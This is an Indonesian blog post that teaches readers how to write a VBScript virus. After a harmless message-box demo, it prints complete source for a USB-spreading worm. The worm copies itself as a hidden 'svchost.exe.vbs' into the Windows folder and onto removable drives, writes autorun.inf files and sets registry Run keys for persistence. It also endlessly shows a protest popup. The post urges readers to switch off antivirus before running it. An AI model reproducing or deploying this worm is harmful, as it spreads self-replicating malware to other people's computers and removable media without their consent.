Membuat Virus Dengan VB Script

Pernahkah kamu berpikir kalau mau membuat virus harus menggunakan tool yang aneh – aneh !? Kalau ya berarti kamu salah karena untuk membuat virus tidak semua harus pakai tool yang aneh cukup menggunakan notepad saja sudah cukup ! Lho lho lho yang benar !? Ya itu benar karena pada dasarnya virus hanyalah sebuah program atau scipt pemrograman seperti yang sering kita temui pada Ms Word, Ms Excel, etc. hanya saja program tersebut dibuat dengan tujuan yang kurang baik yaitu untuk merusak ! Dan biasanya virus menyebar lewat flash disk dan sejenisnya , lalu setelahnya virus menyamar menjadi file yang ada di dalam flash disk tersebut ! Dan setelah kamu mengklik virus yang kamu kira file kamu yang ada di dalam flash disk kamu , maka virus tersebut biasanya akan mengcopy kan diri ke dalam hard drive dan menuliskan registry di HKEY_LOCAL_MACHINE\Software\Microsoft \Windows\CurrentVersion\Run atau di HKEY_CURRENT_USER\Software\Microsoft \Windows\CurrentVersion\Run agar program virus tersebut langsung dijalankan begitu komputer di nyalakan !

Dan sekarang akan saya beri contoh virus yang tidak begitu berbahaya , kamu bisa coba dirumah . Berikut langkahnya :

1 . Buka notepad !

2 . Tulis teks ini ke dalam notepad !

Msgbox "Ini adalah contoh VB Script yang tidak berbahaya"

3 . Save file tersebut dengan nama remba.vbs sebenarnya nama apa saja terserah yang penting ada akhiran .vbs yang menunjukan eksistensi file tersebut , dan kemudian save as type dirubah menjadi all files !

4 . Sekarang lihat efeknya , lihat tampilan ikon file di explorer , sudah tidak lagi berupa teks . Coba double klik file tersebut, maka akan muncul kotak dialog yang bertuliskan Ini adalah contoh VB Script yang tidak berbahaya.
Silahkan dicoba untuk lebih jelasnya !

Bagaimana sederhana bukan !? Lalu berikut ini akan saya beri contoh virus vb script yang sedikit lebih kompleks lagi ! Tapi sebelum dicoba sebaiknya anti virus dimatikan agar lebih jelas efeknya ! dan juga jangan lupa hidupkan deep freeze untuk mencegah hal yang tidak diinginkan ! Berikut kodenya :

*****

'El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost",winpath&"\svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",""
rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3"
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox "Hapuskan UN untuk meningkatkan pendidikan di Indonesia" & vbcrlf & _
"Karena di UN banyak terjadi kecurangan dan politik sekolah" & vbcrlf & _
"untuk menaikkan gengsi sekolah. Bahkan pada kabupaten tertentu," & vbcrlf & _
"kecurangan sudah direstui oleh pemerintah kabupaten tersebut" & vbcrlf & _
vbcrlf & vbcrlf & _
" HAPUSKAN UJIAN NASIONAL DAN KURANGI JUMLAH MATA PELAJARAN !" & vbcrlf & vbcrlf & _
" Suara dari murid yang dibuat repot oleh sistem pendidikan Indonesia"

Loop

Silakan mencoba tapi hati – hati ya ! Karena segala kerusakan yang mungkin terjadi pada PC Anda diluar tanggung jawab KELINCEX !

Sumber : quantumbox.co.cc